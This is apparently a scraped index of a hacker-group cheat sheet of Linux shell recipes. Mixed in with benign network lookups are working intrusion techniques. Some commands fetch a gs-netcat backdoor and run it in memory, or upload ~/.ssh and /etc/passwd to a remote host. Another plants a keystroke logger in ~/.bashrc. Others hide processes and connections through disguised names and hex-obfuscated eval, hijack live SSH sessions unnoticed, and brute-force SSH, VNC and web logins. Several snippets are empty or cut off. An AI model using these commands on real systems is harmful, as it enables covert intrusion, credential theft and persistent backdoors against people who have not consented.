THC's Favourite Tips, Tricks & Hacks (Cheat Sheet)

https://tips.hackerschoice.org
Admin
THC's Favourite Tips, Tricks & Hacks is a collection of various commands and techniques for Bash,...
Tokens:33,921
Snippets:451
Trust Score:4.6
Update:4 months ago
Show doc for...
Tokens:
Raw
### Example Usage of purl for Installation

Source: https://tips.hackerschoice.org/

Demonstrates how to use the 'purl' function (defined previously) to download and potentially install a package like gsocket.

```sh
# Example: Installing gsocket with purl:
```

--------------------------------

### Start User-land SSHD Server

Source: https://tips.hackerschoice.org/

This example demonstrates starting an SSHD server as a non-root user. This can be used for multiplexing, forwarding TCP connections, or as a quick exfiltration server when system-wide SSHD restrictions are in place.

```shell

```

--------------------------------

### Start Listening Server with OpenSSL

Source: https://tips.hackerschoice.org/

Use OpenSSL's s_server mode to start a secure server that listens on a specified port, using provided certificate and key files for encryption.

```bash
openssl s_server -port 1524 -cert cert.pem -key key.pem
```

--------------------------------

### Start wsgidav Server

Source: https://tips.hackerschoice.org/

Starts a local WebDAV server using `wsgidav`. This is useful for serving files from the current directory over HTTP.

```bash
wsgidav --port=8080 --root=.  --auth=anonymous
```

--------------------------------

### Start Python Upload Server and Tunnel

Source: https://tips.hackerschoice.org/

Installs the 'uploadserver' Python package, starts a local upload server on port 8000, and tunnels it with cloudflared on port 8000.

```sh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
```

--------------------------------

### Start and Attach to a GNU Screen Session

Source: https://tips.hackerschoice.org/

This demonstrates how to start a detached GNU screen session named `MyName` running an `nmap` command, and then how to attach back to that session.

```shell
screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
### Attach back to the nmap process
screen -x MyName
```

--------------------------------

### Get IP Rating Information

Source: https://tips.hackerschoice.org/

This example shows how to retrieve IP rating information using the spur.us service. Replace `<IP>` with the actual IP address you want to check.

```bash
curl https://spur.us/context/<IP>
```

--------------------------------

### Listen for Incoming Connections with Pwncat

Source: https://tips.hackerschoice.org/

Use pwncat to listen for incoming connections, which can provide a more advanced shell than netcat. Press Ctrl-C if it gets stuck and type 'back' to get the remote shell prompt.

```sh
pwncat -lp 1524
```

--------------------------------

### Set up SSH Server and Key

Source: https://tips.hackerschoice.org/

On the server, generate an SSH key pair and configure the authorized_keys file. Then, start an SSH daemon with specific options for testing.

```sh
mkdir -p ~/.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>~/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```

--------------------------------

### Start a Listening Server with cursh

Source: https://tips.hackerschoice.org/

Initiate a listening server on your workstation using the cursh script, specifying the certificate and private key for SSL encryption.

```bash
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```

--------------------------------

### Start Cloudflared Tunnel for PHP Upload Server

Source: https://tips.hackerschoice.org/

Starts a cloudflared tunnel to expose a local PHP upload server to the internet. Ensure you have cloudflared installed and configured.

```sh
cloudflared tunnel -url localhost:8080
```

--------------------------------

### Rsync Server Configuration

Source: https://tips.hackerschoice.org/

Sets up a basic rsync daemon configuration file (r.conf) and starts the rsync daemon on a specified port. This is for the receiver side.

```bash
echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf
mkdir upload
rsync --daemon --port=31337 --config=r.conf --no-detach
```

--------------------------------

### Example Usage of transfer function

Source: https://tips.hackerschoice.org/

Demonstrates how to use the transfer function for uploading a single file, an entire directory, or content from a pipe.

```bash
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
```

--------------------------------

### Deploy gsocket without Filesystem Access

Source: https://tips.hackerschoice.org/

This example demonstrates deploying gsocket by piping a downloaded binary directly into memory for execution. It uses 'memexec' and 'curl' to fetch and run the netcat binary.

```sh
GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
```

--------------------------------

### Install SSH-IT for Sniffing SSH Sessions

Source: https://tips.hackerschoice.org/

Installs the SSH-IT tool, which helps in sniffing outgoing SSH sessions. This is an alternative method when ptrace scope is restricted.

```bash
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
```

--------------------------------

### Download and Install Zapper

Source: https://tips.hackerschoice.org/

Downloads the Zapper utility for Linux and makes it executable. Zapper is used to hide process names.

```bash
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
```

--------------------------------

### Execute Nmap and Hide Process

Source: https://tips.hackerschoice.org/

Starts Nmap and hides its process by renaming it to 'klog'. Useful for stealthy network scanning.

```bash
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
```

--------------------------------

### Examples of Using the 'hide' Function

Source: https://tips.hackerschoice.org/

Demonstrates how to use the 'hide' function to hide the current shell, a specific PID, or a command like 'sleep'.

```bash
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process
```

--------------------------------

### Listen for Incoming Connections with Netcat

Source: https://tips.hackerschoice.org/

Start a netcat listener on a specific port to receive incoming connections. This is often the first step in establishing a reverse shell.

```sh
nc -nvlp 1524
```

--------------------------------

### Get TLDR Help for Tar

Source: https://tips.hackerschoice.org/

Fetches concise help information for the 'tar' command using cheat.sh. This works for any Linux command.

```bash
curl cheat.sh/tar
```

--------------------------------

### Set up PHP Upload Server and Tunnel

Source: https://tips.hackerschoice.org/

Downloads a PHP upload script, creates an upload directory, starts a local PHP server, and tunnels it with cloudflared. Access the URL from a browser to view/download files.

```sh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
```

--------------------------------

### Start Cloudflare Tunnel and WebDAV Server

Source: https://tips.hackerschoice.org/

Initiates a Cloudflare Tunnel to expose a local service (localhost:8080) to the internet and starts a WebDAV server. This is used for file transfer on the receiver side.

```bash
cloudflared tunnel --url localhost:8080 &
```

--------------------------------

### Set up a Hack Shell using surl

Source: https://tips.hackerschoice.org/

This method is used when curl or wget are unavailable. It utilizes 'surl' to fetch and source the hack shell script, assuming 'surl' and a temporary 'curl' installation are present.

```bash
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
```

--------------------------------

### Start GrafTCP local proxy

Source: https://tips.hackerschoice.org/

Initiate a GrafTCP local proxy in SOCKS5-only mode. This prepares the system to use GrafTCP for tunneling.

```bash
(graftcp-local -select_proxy_mode only_socks5 &)
```

--------------------------------

### Set up socat for Rsync over SSL

Source: https://tips.hackerschoice.org/

Creates an upload directory and starts a socat listener to accept incoming rsync connections over SSL. The listener forwards data to an rsync server process.

```bash
mkdir upload
```

```bash
cat ssl.pem
```

```bash
socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
```

--------------------------------

### Get geolocation information using cli.fyi

Source: https://tips.hackerschoice.org/

Fetch geolocation details for an IP address using the cli.fyi service.

```bash
curl https://cli.fyi/8.8.8.8
```

--------------------------------

### Listen for Multiple Connections with ncat

Source: https://tips.hackerschoice.org/

Start ncat in listen mode to accept multiple incoming connections on a specified port. Use -k to keep listening after a client disconnects.

```bash
ncat -kltv 1524
```

--------------------------------

### Setup and Run Cloudflared Tunnel

Source: https://tips.hackerschoice.org/

Download, make executable, and run cloudflared to create an HTTPS tunnel for local port 8080. This command assumes a Linux environment.

```bash
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate
```

--------------------------------

### Start a gs-netcat listener for SOCKS proxy

Source: https://tips.hackerschoice.org/

Use gs-netcat to listen for incoming SOCKS proxy connections. This is the first step in creating a tunnel into a target's network.

```bash
gs-netcat -l -S
```

--------------------------------

### Configure ProxyChains for SOCKS proxy

Source: https://tips.hackerschoice.org/

Create a ProxyChains configuration file to specify the SOCKS proxy details. This setup is necessary for routing traffic through the proxy.

```bash
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
```

--------------------------------

### Host SFTP Server behind NAT/Firewall with gs-netcat

Source: https://tips.hackerschoice.org/

This command starts an SFTP server on a host behind a NAT or firewall, making it accessible via gs-netcat. The '-e' flag specifies the SFTP server executable.

```shell
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall
```

--------------------------------

### Brute Force SSH with Nmap, Ncrack, and Hydra

Source: https://tips.hackerschoice.org/

Examples of using Nmap, Ncrack, and Hydra to brute-force SSH credentials against a target host.

```bash
## SSH
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T"
ncrack -P "${PLIST}" --user root "ssh://${T}"
hydra -P "${PLIST}" -l root "ssh://$T"
```

--------------------------------

### Get public IP address using host

Source: https://tips.hackerschoice.org/

Resolve the public IP address using the host command with OpenDNS.

```bash
host myip.opendns.com resolver1.opendns.com
```

--------------------------------

### Access target network using GrafTCP

Source: https://tips.hackerschoice.org/

Use GrafTCP to route commands through its proxy. This example accesses an external service.

```bash
graftcp curl ipinfo.io
```

--------------------------------

### Access target network using ProxyChains

Source: https://tips.hackerschoice.org/

Utilize ProxyChains to route commands through the configured SOCKS proxy. This example shows accessing an external service.

```bash
proxychains -f pc.conf -q curl ipinfo.io
```

--------------------------------

### Hashcat GPU Cracking with Mask

Source: https://tips.hackerschoice.org/

Utilize Hashcat on a specific GPU with a complex hashmask for password cracking. This example downloads a mask file and uses specific Hashcat options for performance and device selection.

```bash
curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
# -d2 == Use GPU #2 only (device #2)
# -O  == Up to 50% faster but limits password length to <= 15
# -w1 == workload low (-w3 == high)
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
```

--------------------------------

### Find Writable Directories

Source: https://tips.hackerschoice.org/

Defines and uses a function `wfind` to recursively find all writable directories starting from a given path. It also identifies non-writable directories to continue the search.

```bash
wfind() {
    local arr dir

    arr=($@)
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

```

--------------------------------

### Rsync Client Transfer

Source: https://tips.hackerschoice.org/

Initiates an rsync transfer from the sender side to a configured rsync daemon. This example synchronizes the 'warez' directory to the 'up' module on the receiver.

```bash
rsync -av warez rsync://1.2.3.4:31337/up
```

--------------------------------

### Install and Run eBPF for Session Sniffing on Linux

Source: https://tips.hackerschoice.org/

Downloads and executes bpftrace and a ptysnoop.bt script to sniff shell sessions using eBPF. This method is a safer alternative to dtrace for Linux.

```bash
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
./bpftrace -Bnone ptysnoop.bt
```

--------------------------------

### Deploy Session Sniffing Script to ~/.bashrc

Source: https://tips.hackerschoice.org/

Installs a script to ~/.bashrc for sniffing user keystrokes and saving them to a hidden directory. This script requires specific versions of 'script' and downloads necessary binaries.

```bash
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } 
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } 
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } 
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } 
&& [ -f ~/.config/.pty/pty ] 
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" 
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty 
&& echo -e '----------
\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' 
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\\e[0m'
```

--------------------------------

### Get geolocation information using ipinfo.io

Source: https://tips.hackerschoice.org/

Fetch detailed geolocation information for a given IP address using the ipinfo.io service and jq for formatting.

```bash
curl https://ipinfo.io/8.8.8.8 | jq
```

--------------------------------

### Create Self-Extracting Implant with Webhook

Source: https://tips.hackerschoice.org/

Creates a self-extracting shell script (`egg.sh`) that installs `gsocket` and calls a specified webhook upon successful execution. Error output and standard output are redirected to `/dev/null`.

```sh
./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

```

--------------------------------

### Single-Shot Remote Command Execution via Memory

Source: https://tips.hackerschoice.org/

This example is for a single opportunity to execute a command remotely, such as through a PHP exploit. It pipes a binary via 'curl' and executes it in memory using 'perl'.

```sh
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,>&="$f");print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
```

--------------------------------

### Daemonize and Hide Nmap Process with Zapper

Source: https://tips.hackerschoice.org/

Starts Nmap as a daemon, hiding its process name as 'sshd: root@pts/0' using Zapper. Logs output to nmap.log.

```bash
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
```

--------------------------------

### HTML Basic Auth Brute-Force with nmap

Source: https://tips.hackerschoice.org/

Brute-force HTML basic authentication using nmap's http-brute script. This example sets up user and password files and specifies the target details.

```sh
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com
```

--------------------------------

### Resolve Hostnames and Find Subdomains

Source: https://tips.hackerschoice.org/

Provides two bash functions: `resolv` to get IP addresses for hostnames, and `find_subdomains` to extract subdomains from files using `grep` or `rg`. The `find_subdomains` function requires an apex domain as an argument.

```bash
resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$	"${x}"; done; } 
find_subdomains() {
	local d="${1//./\.}\"
	local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}"
	local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)'
	[ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage  : find_subdomains <apex-domain> <file>\nExample: find_subdomain .com | anew"; return; }
	shift 1
	[ $# -le 0 ] && [ -t 0 ] && set -- .
	command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; }
	grep -Eaohr "$rex" "$@" | grep -Eo "$rexf"
}

```

--------------------------------

### Create Encrypted Filesystem with cryptsetup

Source: https://tips.hackerschoice.org/

This snippet demonstrates creating and mounting a LUKS-encrypted filesystem using cryptsetup. It involves creating a random data file, formatting it, opening it, and then mounting it.

```sh
dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
cryptsetup luksFormat /tmp/crypted
cryptsetup open /tmp/crypted sec
mkfs -t ext3 /dev/mapper/sec
```

--------------------------------

### Connect to Target Network via Reverse Proxy

Source: https://tips.hackerschoice.org/

Access resources within the target network by connecting to the established reverse proxy (SOCKS) on your workstation. This example uses curl to access an external service.

```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
```

--------------------------------

### Bind-Mount Binary to Replace System Binary

Source: https://tips.hackerschoice.org/

This command uses `mount --bind` to temporarily make `/sbin/init` point to the `nmap` binary located in `/dev/shm`. This is a way to execute `nmap` under the guise of `/sbin/init`.

```shell
mount -n --bind "$(command -v nmap)" /sbin/init
```

--------------------------------

### Get geolocation information using ip-api.com

Source: https://tips.hackerschoice.org/

Retrieve geolocation data for an IP address from the ip-api.com service.

```bash
curl http://ip-api.com/8.8.8.8
```

--------------------------------

### Perform Reverse IP Lookup using THC IP API

Source: https://tips.hackerschoice.org/

This command-line example demonstrates how to perform a reverse DNS lookup for a given IP address using the THC IP API. It utilizes curl to fetch the data.

```bash
curl -fL ip.thc.org/140.82.121.3
```

--------------------------------

### Get public IP address

Source: https://tips.hackerschoice.org/

Fetch the public IP address using a simple curl command.

```bash
curl ifconfig.me
```

--------------------------------

### Download with Perl

Source: https://tips.hackerschoice.org/

Downloads content from a given URL using Perl's LWP::Simple module. Automatically prepends 'https://' if the URL scheme is missing.

```bash
lurl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    perl -e 'use LWP::Simple qw(get);
my $url = '
```

```perl
my $url = "${1:?}";
print(get $url);'
```

--------------------------------

### Mount Encrypted Filesystem with cryptsetup

Source: https://tips.hackerschoice.org/

This snippet shows how to mount an already formatted LUKS-encrypted filesystem using cryptsetup. Ensure the encrypted file exists and is accessible.

```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
```

--------------------------------

### Set up Interactive Shell Environment on Target

Source: https://tips.hackerschoice.org/

On the target host, set environment variables and reset the terminal to prepare for an interactive shell. This includes setting the shell, terminal type, and adjusting rows and columns based on terminal size.

```sh
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows $3 cols $2"; }')
PS1='[\033[36m]\u[\033[m]@[\033[32m]\h:[\033[33;1m]\w[\033[m]\$ '
```

--------------------------------

### Get public IP address using dig

Source: https://tips.hackerschoice.org/

Resolve the public IP address using the dig command with OpenDNS.

```bash
dig +short myip.opendns.com @resolver1.opendns.com
```

--------------------------------

### Run Command in Background with Hidden Process Name

Source: https://tips.hackerschoice.org/

This command starts `nmap` in the background, disguised as `/usr/sbin/sshd`, and redirects its output to `nmap.log`.

```shell
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
```

--------------------------------

### Connect to gs-netcat SFTP Server from Workstation

Source: https://tips.hackerschoice.org/

On the workstation, set the GSOCKET_ARGS environment variable with the shared secret, then connect to the SFTP server using 'sftp -D gs-netcat'.

```shell
export GSOCKET_ARGS="-s MySecret"                        # Workstation
sftp -D gs-netcat                                        # Workstation
```

--------------------------------

### Download File using Screen and OpenSSL

Source: https://tips.hackerschoice.org/

To download a file, first log output to a file on the local screen session, then encode the remote file using openssl base64. Finally, decode the logged file on the local system.

```shell
openssl base64 </etc/issue.net
```

```shell
openssl base64 -d <screen-xfer.txt
rm -rf screen-xfer.txt
```

--------------------------------

### Decoded Obfuscated Bash Function

Source: https://tips.hackerschoice.org/

The decoded version of the obfuscated bash function for hiding network connections. This is what gets executed after eval.

```bash
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
```

--------------------------------

### Download and Run Noseyparker

Source: https://tips.hackerschoice.org/

Downloads a static binary for Noseyparker, makes it executable, and then uses it to scan the current directory for secrets. The report is piped to `less` for easier viewing.

```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np && \
./np scan . && \
./np report --color=always | less -R
```

--------------------------------

### VNC Login with Metasploit

Source: https://tips.hackerschoice.org/

Use Metasploit Framework to perform VNC login attempts. Configure remote hosts, password file, and run the auxiliary module.

```sh
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run
```

--------------------------------

### Tmux: Hidden Session Management

Source: https://tips.hackerschoice.org/

Starts or attaches to a hidden Tmux session using zapper. This method is used for creating less obvious sessions.

```bash
cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'	'cache
```

```bash
cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'	'cache attach
```

--------------------------------

### Tmux: Toggle Logging

Source: https://tips.hackerschoice.org/

Toggles logging of the current pane's output to a file. Press Ctrl-b + Shift + P to start and stop logging.

```bash
Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
```

--------------------------------

### Get public IP address in JSON format

Source: https://tips.hackerschoice.org/

Retrieve the public IP address of the current host in JSON format using curl and jq.

```bash
curl -s wtfismyip.com/json | jq
```

--------------------------------

### Spawn HTTP Server to Share Directory

Source: https://tips.hackerschoice.org/

This command spawns a temporary HTTP server on the local machine, binding to localhost and sharing the current working directory on port 8080. The '&' runs the server in the background.

```python
## Spawn a temporary HTTP server and share the current working directory.
python -m http.server 8080 --bind 127.0.0.1 &
```

--------------------------------

### Set up a Hack Shell using GitHub raw URL

Source: https://tips.hackerschoice.org/

An alternative method to set up a hack shell by sourcing the script directly from its raw GitHub repository URL. Requires curl.

```bash
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
```

--------------------------------

### Replace Binary with a New Name and Execute

Source: https://tips.hackerschoice.org/

This copies the `nmap` binary to `syslogd` in `/dev/shm` and then executes it with a modified PATH, effectively running `syslogd` which is actually `nmap`.

```shell
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
```

--------------------------------

### Get ASN information for a single IP

Source: https://tips.hackerschoice.org/

Look up the Autonomous System Number (ASN) information for a specific IP address using netcat to connect to whois.cymru.com.

```bash
asn() {
  [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
  (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
}
asn 1.1.1.1
```

--------------------------------

### Initialize Ghost IP Spoofing Tool

Source: https://tips.hackerschoice.org/

Source the 'ghostip.sh' script to enable IP spoofing within the current shell session. Any subsequent commands executed will originate from a fake IP address.

```shell
source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
```

--------------------------------

### Upload File using Screen and OpenSSL

Source: https://tips.hackerschoice.org/

To upload a file, encode the local file to a temporary file. Then, on the remote system within screen, use openssl base64 to decode the data piped from the clipboard.

```shell
openssl base64 </etc/issue.net >screen-xfer.txt
```

```shell
openssl base64 -d
```

--------------------------------

### Connect to Disposable Root Server

Source: https://tips.hackerschoice.org/

Connects to a disposable root server at segfault.net using SSH. The password 'segfault' is provided.

```bash
$ ssh root@segfault.net # Use password 'segfault'
```

--------------------------------

### Check open ports using Shodan InternetDB

Source: https://tips.hackerschoice.org/

Query Shodan's InternetDB service to get information about open ports and services for a given IP address.

```bash
curl https://internetdb.shodan.io/1.1.1.1
```

--------------------------------

### Connect to SSL Service with OpenSSL

Source: https://tips.hackerschoice.org/

Use the openssl s_client command to connect to an SSL/TLS service, useful for testing SSL connections.

```sh
openssl s_client -connect smtp.gmail.com:465
```

--------------------------------

### Get ASN information for multiple IPs

Source: https://tips.hackerschoice.org/

Perform bulk ASN lookups by piping a list of IP addresses to the asn function, which uses netcat to query whois.cymru.com.

```bash
cat IPS.txt | asn
```

--------------------------------

### Run OONI Probe website measurement

Source: https://tips.hackerschoice.org/

Use OONI Probe to measure website accessibility and performance. This command runs the 'websites' test.

```bash
ooniprobe run websites
```

--------------------------------

### Deploy Script with Custom Host and Port

Source: https://tips.hackerschoice.org/

Execute a deployment script ('deploy.sh') while specifying the target host and port for communication. This is useful for deploying agents or services within a restricted network.

```shell
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
```

--------------------------------

### Gather System Information and Domains

Source: https://tips.hackerschoice.org/

A curl command to fetch and execute a script that displays all domains hosted on a server and provides system information. Ensure you trust the source before executing.

```bash
curl -fsSL https://thc.org/ws | bash
```

--------------------------------

### List available OONI Probe measurements

Source: https://tips.hackerschoice.org/

Display a list of all available measurement types that can be run with OONI Probe.

```bash
ooniprobe list
```

--------------------------------

### Start remote base64 decode for tmux transfer

Source: https://tips.hackerschoice.org/

Initiates base64 decoding on a remote machine to receive file content transferred via tmux. The decoded data is saved to 'screen-xfer.txt'.

```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
```

--------------------------------

### Perform Server Speed Test

Source: https://tips.hackerschoice.org/

Downloads and executes the bench.sh script to perform a server speed test. Ensure the source is trusted.

```bash
curl -fsSL bench.sh | bash
```

--------------------------------

### Download with OpenSSL

Source: https://tips.hackerschoice.org/

Downloads content from a given host and path using OpenSSL's s_client for HTTPS connections. Handles TLS options like ignoring unexpected EOF and quiet verification.

```bash
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" 
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" 
	| sed '1,/^\r\{0,1\}$/d'
}
```

--------------------------------

### Establish a gsocket tunnel with gs-netcat

Source: https://tips.hackerschoice.org/

Initiate a gsocket tunnel on a specific port using gs-netcat. This allows access to the target's network through the established tunnel.

```bash
gs-netcat -p 1080
```

--------------------------------

### Get Telegram Chat ID for Bot

Source: https://tips.hackerschoice.org/

Retrieves the chat ID for a Telegram group where your bot has been added. This is necessary for sending messages to the group using the Telegram Bot API. Requires a valid TG-BOT-TOKEN.

```bash
curl -s "https://api.telegram.org/bot<TG-BOT-TOKEN>/getUpdates" | jq -r '.result[].message.chat.id' | uniq
```

--------------------------------

### Unmount and Close Encrypted Filesystem with cryptsetup

Source: https://tips.hackerschoice.org/

This snippet demonstrates how to unmount an encrypted filesystem and close the LUKS container. This should be done after finishing operations on the mounted filesystem.

```sh
umount /mnt/sec
cryptsetup close sec
```

--------------------------------

### Create Reverse HTTPS Tunnel with localhost.run

Source: https://tips.hackerschoice.org/

Create a reverse HTTPS tunnel to forward public HTTPS requests to the server's port 8080. This uses localhost.run.

```bash
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@localhost.run
```

--------------------------------

### Set up a Hack Shell using curl

Source: https://tips.hackerschoice.org/

Disables Bash history and other noisy elements to create a less traceable shell. Requires curl to fetch the script from the provided URL.

```bash
source <(curl -SsfL https://thc.org/hs)
```

--------------------------------

### Take Over Running SSH Session with Reptyr

Source: https://tips.hackerschoice.org/

Use the 'reptyr' tool to hijack an existing SSH session. The '-T' option is recommended to prevent the original user from noticing the session suspension.

```bash
ps ax -o pid,ppid,cmd | grep 'ssh '
./reptyr -T <SSH PID>
### or: ./reptyr -T $(pidof -s ssh)
### Must use '-T' or otherwise the original user will see that his SSH process gets suspended.
```

--------------------------------

### Run Cloudflared Tunnel on Workstation

Source: https://tips.hackerschoice.org/

Initiate a Cloudflare tunnel from your local workstation using a provided token. This establishes a connection that can be used for reverse proxying.

```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
```

--------------------------------

### Find Subdomains from TLS/THC-IP Database

Source: https://tips.hackerschoice.org/

This function uses curl to fetch subdomain information from crt.sh and ip.thc.org. It processes the output to provide a unique, lowercase list of common and alternative domain names. Ensure you have `curl`, `jq`, `anew`, and `sed` installed.

```bash
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^".*//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
```

--------------------------------

